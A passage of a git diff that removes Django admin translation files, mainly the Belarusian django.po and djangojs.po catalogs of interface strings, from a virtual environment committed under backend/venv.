-msgstr "Ç" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "C.a" - -msgctxt "one letter Friday" -msgid "F" -msgstr "C" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Ş" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/django.mo deleted file mode 100644 index 5ec4d5b4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/django.po deleted file mode 100644 index 4904d355..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/django.po +++ /dev/null @@ -1,791 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Viktar Palstsiuk , 2015 -# znotdead , 2016-2017,2019-2021,2023-2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:05+0000\n" -"Last-Translator: znotdead , " -"2016-2017,2019-2021,2023-2024\n" -"Language-Team: Belarusian (http://app.transifex.com/django/django/language/" -"be/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: be\n" -"Plural-Forms: nplurals=4; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " -"n%10<=4 && (n%100<12 || n%100>14) ? 1 : n%10==0 || (n%10>=5 && n%10<=9) || " -"(n%100>=11 && n%100<=14)? 2 : 3);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Выдаліць абраныя %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Выдалілі %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Не ўдаецца выдаліць %(name)s" - -msgid "Are you sure?" -msgstr "Ці ўпэўненыя вы?" - -msgid "Administration" -msgstr "Адміністрацыя" - -msgid "All" -msgstr "Усе" - -msgid "Yes" -msgstr "Так" - -msgid "No" -msgstr "Не" - -msgid "Unknown" -msgstr "Невядома" - -msgid "Any date" -msgstr "Хоць-якая дата" - -msgid "Today" -msgstr "Сёньня" - -msgid "Past 7 days" -msgstr "Апошні тыдзень" - -msgid "This month" -msgstr "Гэты месяц" - -msgid "This year" -msgstr "Гэты год" - -msgid "No date" -msgstr "Няма даты" - -msgid "Has date" -msgstr "Мае дату" - -msgid "Empty" -msgstr "Пусты" - -msgid "Not empty" -msgstr "Не пусты" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Калі ласка, увядзіце правільны %(username)s і пароль для службовага рахунку. " -"Адзначым, што абодва палі могуць быць адчувальныя да рэгістра." - -msgid "Action:" -msgstr "Дзеяньне:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Дадаць яшчэ %(verbose_name)s" - -msgid "Remove" -msgstr "Прыбраць" - -msgid "Addition" -msgstr "Дапаўненьне" - -msgid "Change" -msgstr "Зьмяніць" - -msgid "Deletion" -msgstr "Выдалленне" - -msgid "action time" -msgstr "час дзеяньня" - -msgid "user" -msgstr "карыстальнік" - -msgid "content type" -msgstr "від змесціва" - -msgid "object id" -msgstr "нумар аб’екта" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "прадстаўленьне аб’екта" - -msgid "action flag" -msgstr "від дзеяньня" - -msgid "change message" -msgstr "паведамленьне пра зьмену" - -msgid "log entry" -msgstr "запіс у справаздачы" - -msgid "log entries" -msgstr "запісы ў справаздачы" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Дадалі “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Зьмянілі «%(object)s» — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Выдалілі «%(object)s»." - -msgid "LogEntry Object" -msgstr "Запіс у справаздачы" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Дадалі {name} “{object}”." - -msgid "Added." -msgstr "Дадалі." - -msgid "and" -msgstr "і" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Змянілі {fields} для {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Зьмянілі {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Выдалілі {name} “{object}”." - -msgid "No fields changed." -msgstr "Палі не зьмяняліся." - -msgid "None" -msgstr "Няма" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Утрымлівайце націснутай кнопку“Control”, або “Command” на Mac, каб вылучыць " -"больш за адзін." - -msgid "Select this object for an action - {}" -msgstr "Абярыце гэты аб'ект для дзеяньня - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Пасьпяхова дадалі {name} “{obj}”." - -msgid "You may edit it again below." -msgstr "Вы можаце зноўку правіць гэта ніжэй." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "Пасьпяхова дадалі {name} \"{obj}\". Ніжэй можна дадаць іншы {name}." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "Пасьпяхова зьмянілі {name} \"{obj}\". Ніжэй яго можна зноўку правіць." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "Пасьпяхова зьмянілі {name} \"{obj}\". Ніжэй можна дадаць іншы {name}." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Пасьпяхова зьмянілі {name} \"{obj}\"." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Каб нешта рабіць, трэба спачатку абраць, з чым гэта рабіць. Нічога не " -"зьмянілася." - -msgid "No action selected." -msgstr "Не абралі дзеяньняў." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Пасьпяхова выдалілі %(name)s «%(obj)s»." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s з ID \"%(key)s\" не існуе. Магчыма гэта было выдалена раней?" - -#, python-format -msgid "Add %s" -msgstr "Дадаць %s" - -#, python-format -msgid "Change %s" -msgstr "Зьмяніць %s" - -#, python-format -msgid "View %s" -msgstr "Праглядзець %s" - -msgid "Database error" -msgstr "База зьвестак дала хібу" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "Зьмянілі %(count)s %(name)s." -msgstr[1] "Зьмянілі %(count)s %(name)s." -msgstr[2] "Зьмянілі %(count)s %(name)s." -msgstr[3] "Зьмянілі %(count)s %(name)s." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Абралі %(total_count)s" -msgstr[1] "Абралі ўсе %(total_count)s" -msgstr[2] "Абралі ўсе %(total_count)s" -msgstr[3] "Абралі ўсе %(total_count)s" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Абралі 0 аб’ектаў з %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "Гісторыя зьменаў: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Каб выдаліць %(class_name)s %(instance)s, трэба выдаліць і зьвязаныя " -"абароненыя аб’екты: %(related_objects)s" - -msgid "Django site admin" -msgstr "Кіраўнічая пляцоўка «Джэнґа»" - -msgid "Django administration" -msgstr "Кіраваць «Джэнґаю»" - -msgid "Site administration" -msgstr "Кіраваць пляцоўкаю" - -msgid "Log in" -msgstr "Увайсьці" - -#, python-format -msgid "%(app)s administration" -msgstr "Адміністрацыя %(app)s" - -msgid "Page not found" -msgstr "Бачыну не знайшлі" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "На жаль, запытаную бачыну немагчыма знайсьці." - -msgid "Home" -msgstr "Пачатак" - -msgid "Server error" -msgstr "Паслужнік даў хібу" - -msgid "Server error (500)" -msgstr "Паслужнік даў хібу (памылка 500)" - -msgid "Server Error (500)" -msgstr "Паслужнік даў хібу (памылка 500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Адбылася памылка. Паведамленне пра памылку было адаслана адміністратарам " -"сайту па электроннай пошце і яна павінна быць выпраўлена ў бліжэйшы час. " -"Дзякуй за ваша цярпенне." - -msgid "Run the selected action" -msgstr "Выканаць абранае дзеяньне" - -msgid "Go" -msgstr "Выканаць" - -msgid "Click here to select the objects across all pages" -msgstr "Каб абраць аб’екты на ўсіх бачынах, націсьніце сюды" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Абраць усе %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Не абіраць нічога" - -msgid "Breadcrumbs" -msgstr "Навігацыйны ланцужок" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Мадэлі ў %(name)s праграме" - -msgid "Add" -msgstr "Дадаць" - -msgid "View" -msgstr "Праглядзець" - -msgid "You don’t have permission to view or edit anything." -msgstr "Вы ня маеце дазволу праглядаць ці нешта зьмяняць." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Спачатку пазначце імя карыстальніка ды пароль. Потым можна будзе наставіць " -"іншыя можнасьці." - -msgid "Enter a username and password." -msgstr "Пазначце імя карыстальніка ды пароль." - -msgid "Change password" -msgstr "Зьмяніць пароль" - -msgid "Set password" -msgstr "Усталяваць пароль" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Калі ласка, выпраўце памылкy, адзначаную ніжэй." -msgstr[1] "Калі ласка, выпраўце памылкі, адзначаныя ніжэй." -msgstr[2] "Калі ласка, выпраўце памылкі, адзначаныя ніжэй." -msgstr[3] "Калі ласка, выпраўце памылкі, адзначаныя ніжэй." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Пазначце пароль для карыстальніка «%(username)s»." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Гэта дзеянне ўключыць аўтэнтыфікацыю на аснове пароля для " -"гэтага карыстальніка." - -msgid "Disable password-based authentication" -msgstr "Адключыць аўтэнтыфікацыю на аснове пароля" - -msgid "Enable password-based authentication" -msgstr "Уключыць аўтэнтыфікацыю на аснове пароля" - -msgid "Skip to main content" -msgstr "Перайсці да асноўнага зместу" - -msgid "Welcome," -msgstr "Вітаем," - -msgid "View site" -msgstr "Адкрыць сайт" - -msgid "Documentation" -msgstr "Дакумэнтацыя" - -msgid "Log out" -msgstr "Выйсьці" - -#, python-format -msgid "Add %(name)s" -msgstr "Дадаць %(name)s" - -msgid "History" -msgstr "Гісторыя" - -msgid "View on site" -msgstr "Зірнуць на пляцоўцы" - -msgid "Filter" -msgstr "Прасеяць" - -msgid "Hide counts" -msgstr "Схаваць падлік" - -msgid "Show counts" -msgstr "Паказаць падлік" - -msgid "Clear all filters" -msgstr "Ачысьціць усе фільтры" - -msgid "Remove from sorting" -msgstr "Прыбраць з упарадкаванага" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Парадак: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Парадкаваць наадварот" - -msgid "Toggle theme (current theme: auto)" -msgstr "Пераключыць тэму (бягучая тэма: аўтаматычная)" - -msgid "Toggle theme (current theme: light)" -msgstr "Пераключыць тэму (бягучая тэма: светлая)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Пераключыць тэму (бягучая тэма: цёмная)" - -msgid "Delete" -msgstr "Выдаліць" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Калі выдаліць %(object_name)s «%(escaped_object)s», выдаляцца зьвязаныя " -"аб’екты, але ваш рахунак ня мае дазволу выдаляць наступныя віды аб’ектаў:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Каб выдаліць %(object_name)s «%(escaped_object)s», трэба выдаліць і " -"зьвязаныя абароненыя аб’екты:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Ці выдаліць %(object_name)s «%(escaped_object)s»? Усе наступныя зьвязаныя " -"складнікі выдаляцца:" - -msgid "Objects" -msgstr "Аб'екты" - -msgid "Yes, I’m sure" -msgstr "Так, я ўпэўнены" - -msgid "No, take me back" -msgstr "Не, вярнуцца назад" - -msgid "Delete multiple objects" -msgstr "Выдаліць некалькі аб’ектаў" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Калі выдаліць абранае (%(objects_name)s), выдаляцца зьвязаныя аб’екты, але " -"ваш рахунак ня мае дазволу выдаляць наступныя віды аб’ектаў:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Каб выдаліць абранае (%(objects_name)s), трэба выдаліць і зьвязаныя " -"абароненыя аб’екты:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ці выдаліць абранае (%(objects_name)s)? Усе наступныя аб’екты ды зьвязаныя " -"зь імі складнікі выдаляцца:" - -msgid "Delete?" -msgstr "Ці выдаліць?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s " - -msgid "Summary" -msgstr "Рэзюмэ" - -msgid "Recent actions" -msgstr "Нядаўнія дзеянні" - -msgid "My actions" -msgstr "Мае дзеяньні" - -msgid "None available" -msgstr "Недаступнае" - -msgid "Added:" -msgstr "Дадалі:" - -msgid "Changed:" -msgstr "Зьмянілі:" - -msgid "Deleted:" -msgstr "Выдалены:" - -msgid "Unknown content" -msgstr "Невядомае зьмесьціва" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Нешта ня так з усталяванаю базаю зьвестак. Упэўніцеся, што ў базе стварылі " -"патрэбныя табліцы, і што базу можа чытаць адпаведны карыстальнік." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Вы апазнаны як %(username)s але не аўтарызаваны для доступу гэтай бачыны. Не " -"жадаеце лі вы ўвайсці пад іншым карыстальнікам?" - -msgid "Forgotten your password or username?" -msgstr "Забыліся на імя ці пароль?" - -msgid "Toggle navigation" -msgstr "Пераключыць навігацыю" - -msgid "Sidebar" -msgstr "бакавая панэль" - -msgid "Start typing to filter…" -msgstr "Пачніце ўводзіць, каб адфільтраваць..." - -msgid "Filter navigation items" -msgstr "Фільтраваць элементы навігацыі" - -msgid "Date/time" -msgstr "Час, дата" - -msgid "User" -msgstr "Карыстальнік" - -msgid "Action" -msgstr "Дзеяньне" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "запіс" -msgstr[1] "запісы" -msgstr[2] "запісы" -msgstr[3] "запісы" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Аб’ект ня мае гісторыі зьменаў. Мажліва, яго дадавалі не праз кіраўнічую " -"пляцоўку." - -msgid "Show all" -msgstr "Паказаць усё" - -msgid "Save" -msgstr "Захаваць" - -msgid "Popup closing…" -msgstr "Усплывальнае акно зачыняецца..." - -msgid "Search" -msgstr "Шукаць" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s вынік" -msgstr[1] "%(counter)s вынікі" -msgstr[2] "%(counter)s вынікаў" -msgstr[3] "%(counter)s вынікаў" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "Разам %(full_result_count)s" - -msgid "Save as new" -msgstr "Захаваць як новы" - -msgid "Save and add another" -msgstr "Захаваць і дадаць іншы" - -msgid "Save and continue editing" -msgstr "Захаваць і працягваць правіць" - -msgid "Save and view" -msgstr "Захаваць і праглядзець" - -msgid "Close" -msgstr "Закрыць" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Змяніць абраныя %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Дадаць яшчэ %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Выдаліць абраныя %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Праглядзець абраныя %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Дзякуем за час, які вы сёньня правялі на гэтай пляцоўцы." - -msgid "Log in again" -msgstr "Увайсьці зноўку" - -msgid "Password change" -msgstr "Зьмяніць пароль" - -msgid "Your password was changed." -msgstr "Ваш пароль зьмяніўся." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Дзеля бясьпекі пазначце стары пароль, а потым набярыце новы пароль двойчы — " -"каб упэўніцца, што набралі без памылак." - -msgid "Change my password" -msgstr "Зьмяніць пароль" - -msgid "Password reset" -msgstr "Узнавіць пароль" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Вам усталявалі пароль. Можаце вярнуцца ды ўвайсьці зноўку." - -msgid "Password reset confirmation" -msgstr "Пацьвердзіце, што трэба ўзнавіць пароль" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "Набярыце новы пароль двойчы — каб упэўніцца, што набралі без памылак." - -msgid "New password:" -msgstr "Новы пароль:" - -msgid "Confirm password:" -msgstr "Пацьвердзіце пароль:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Спасылка ўзнавіць пароль хібная: мажліва таму, што ёю ўжо скарысталіся. " -"Запытайцеся ўзнавіць пароль яшчэ раз." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Мы адаслалі па электроннай пошце інструкцыі па ўстаноўцы пароля. Калі існуе " -"рахунак з электроннай поштай, што вы ўвялі, то Вы павінны атрымаць іх у " -"бліжэйшы час." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Калі вы не атрымліваеце электронную пошту, калі ласка, пераканайцеся, што вы " -"ўвялі адрас з якім вы зарэгістраваліся, а таксама праверце тэчку са спамам." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Вы атрымалі гэты ліст, таму што вы прасілі скінуць пароль для ўліковага " -"запісу карыстальніка на %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Перайдзіце да наступнае бачыны ды абярыце новы пароль:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Імя карыстальніка, калі раптам вы забыліся:" - -msgid "Thanks for using our site!" -msgstr "Дзякуем, што карыстаецеся нашаю пляцоўкаю!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Каманда «%(site_name)s»" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Забыліся пароль? Калі ласка, увядзіце свой адрас электроннай пошты ніжэй, і " -"мы вышлем інструкцыі па электроннай пошце для ўстаноўкі новага." - -msgid "Email address:" -msgstr "Адрас электроннай пошты:" - -msgid "Reset my password" -msgstr "Узнавіць пароль" - -msgid "Select all objects on this page for an action" -msgstr "Абяраць усе аб'екты на гэтай старонцы для дзеяньня" - -msgid "All dates" -msgstr "Усе даты" - -#, python-format -msgid "Select %s" -msgstr "Абраць %s" - -#, python-format -msgid "Select %s to change" -msgstr "Абярыце %s, каб зьмяніць" - -#, python-format -msgid "Select %s to view" -msgstr "Абярыце %s, каб праглядзець" - -msgid "Date:" -msgstr "Дата:" - -msgid "Time:" -msgstr "Час:" - -msgid "Lookup" -msgstr "Шукаць" - -msgid "Currently:" -msgstr "У цяперашні час:" - -msgid "Change:" -msgstr "Зьмяніць:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/djangojs.mo deleted file mode 100644 index ac8377e4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/djangojs.po deleted file mode 100644 index 484af859..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/be/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,333 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Viktar Palstsiuk , 2015 -# znotdead , 2016,2020-2021,2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: znotdead , 2016,2020-2021,2023\n" -"Language-Team: Belarusian (http://app.transifex.com/django/django/language/" -"be/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: be\n" -"Plural-Forms: nplurals=4; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " -"n%10<=4 && (n%100<12 || n%100>14) ? 1 : n%10==0 || (n%10>=5 && n%10<=9) || " -"(n%100>=11 && n%100<=14)? 2 : 3);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Даступныя %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Сьпіс даступных %s. Каб нешта абраць, пазначце патрэбнае ў полі ніжэй і " -"пстрыкніце па стрэлцы «Абраць» між двума палямі." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Каб прасеяць даступныя %s, друкуйце ў гэтым полі." - -msgid "Filter" -msgstr "Прасеяць" - -msgid "Choose all" -msgstr "Абраць усе" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Каб абраць усе %s, пстрыкніце тут." - -msgid "Choose" -msgstr "Абраць" - -msgid "Remove" -msgstr "Прыбраць" - -#, javascript-format -msgid "Chosen %s" -msgstr "Абралі %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Сьпіс абраных %s. Каб нешта прыбраць, пазначце патрэбнае ў полі ніжэй і " -"пстрыкніце па стрэлцы «Прыбраць» між двума палямі." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Друкуйце ў гэтым полі, каб прасеяць спіс выбраных %s." - -msgid "Remove all" -msgstr "Прыбраць усё" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Каб прыбраць усе %s, пстрыкніце тут." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s абраная можнасьць нябачна" -msgstr[1] "%s абраныя можнасьці нябачны" -msgstr[2] "%s абраныя можнасьці нябачны" -msgstr[3] "%s абраныя можнасьці нябачны" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "Абралі %(sel)s з %(cnt)s" -msgstr[1] "Абралі %(sel)s з %(cnt)s" -msgstr[2] "Абралі %(sel)s з %(cnt)s" -msgstr[3] "Абралі %(sel)s з %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"У пэўных палях засталіся незахаваныя зьмены. Калі выканаць дзеяньне, " -"незахаванае страціцца." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Абралі дзеяньне, але не захавалі зьмены ў пэўных палях. Каб захаваць, " -"націсьніце «Добра». Дзеяньне потым трэба будзе запусьціць нанова." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Абралі дзеяньне, а ў палях нічога не зьмянялі. Мажліва, вы хацелі націснуць " -"кнопку «Выканаць», а ня кнопку «Захаваць»." - -msgid "Now" -msgstr "Цяпер" - -msgid "Midnight" -msgstr "Поўнач" - -msgid "6 a.m." -msgstr "6 папоўначы" - -msgid "Noon" -msgstr "Поўдзень" - -msgid "6 p.m." -msgstr "6 папаўдні" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Заўвага: Ваш час спяшаецца на %s г адносна часу на серверы." -msgstr[1] "Заўвага: Ваш час спяшаецца на %s г адносна часу на серверы." -msgstr[2] "Заўвага: Ваш час спяшаецца на %s г адносна часу на серверы." -msgstr[3] "Заўвага: Ваш час спяшаецца на %s г адносна часу на серверы." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Заўвага: Ваш час адстае на %s г ад часу на серверы." -msgstr[1] "Заўвага: Ваш час адстае на %s г ад часу на серверы." -msgstr[2] "Заўвага: Ваш час адстае на %s г ад часу на серверы." -msgstr[3] "Заўвага: Ваш час адстае на %s г ад часу на серверы." - -msgid "Choose a Time" -msgstr "Абярыце час" - -msgid "Choose a time" -msgstr "Абярыце час" - -msgid "Cancel" -msgstr "Скасаваць" - -msgid "Today" -msgstr "Сёньня" - -msgid "Choose a Date" -msgstr "Абярыце дату" - -msgid "Yesterday" -msgstr "Учора" - -msgid "Tomorrow" -msgstr "Заўтра" - -msgid "January" -msgstr "Студзень" - -msgid "February" -msgstr "Люты" - -msgid "March" -msgstr "Сакавік" - -msgid "April" -msgstr "Красавік" - -msgid "May" -msgstr "Травень" - -msgid "June" -msgstr "Чэрвень" - -msgid "July" -msgstr "Ліпень" - -msgid "August" -msgstr "Жнівень" - -msgid "September" -msgstr "Верасень" - -msgid "October" -msgstr "Кастрычнік" - -msgid "November" -msgstr "Лістапад" - -msgid "December" -msgstr "Снежань" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Сту" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Лют" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Сак" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Кра" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Май" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Чэр" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Ліп" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Жні" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Вер" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Кас" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Ліс" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Сне" - -msgid "Sunday" -msgstr "Нядзеля" - -msgid "Monday" -msgstr "Панядзелак" - -msgid "Tuesday" -msgstr "Аўторак" - -msgid "Wednesday" -msgstr "Серада" - -msgid "Thursday" -msgstr "Чацьвер" - -msgid "Friday" -msgstr "Пятніца" - -msgid "Saturday" -msgstr "Субота" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Нд" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Пн" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Аўт" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Ср" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Чц" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Пт" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Сб" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Н" - -msgctxt "one letter Monday" -msgid "M" -msgstr "П" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "А" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "С" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Ч" - -msgctxt "one letter Friday" -msgid "F" -msgstr "П" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "С" - -msgid "Show" -msgstr "Паказаць" - -msgid "Hide" -msgstr "Схаваць" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/django.mo deleted file mode 100644 index 2ea0eab1..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bg/LC_MESSAGES/django.po deleted file mode 100644 index d8e8dc8a..00000000 --- 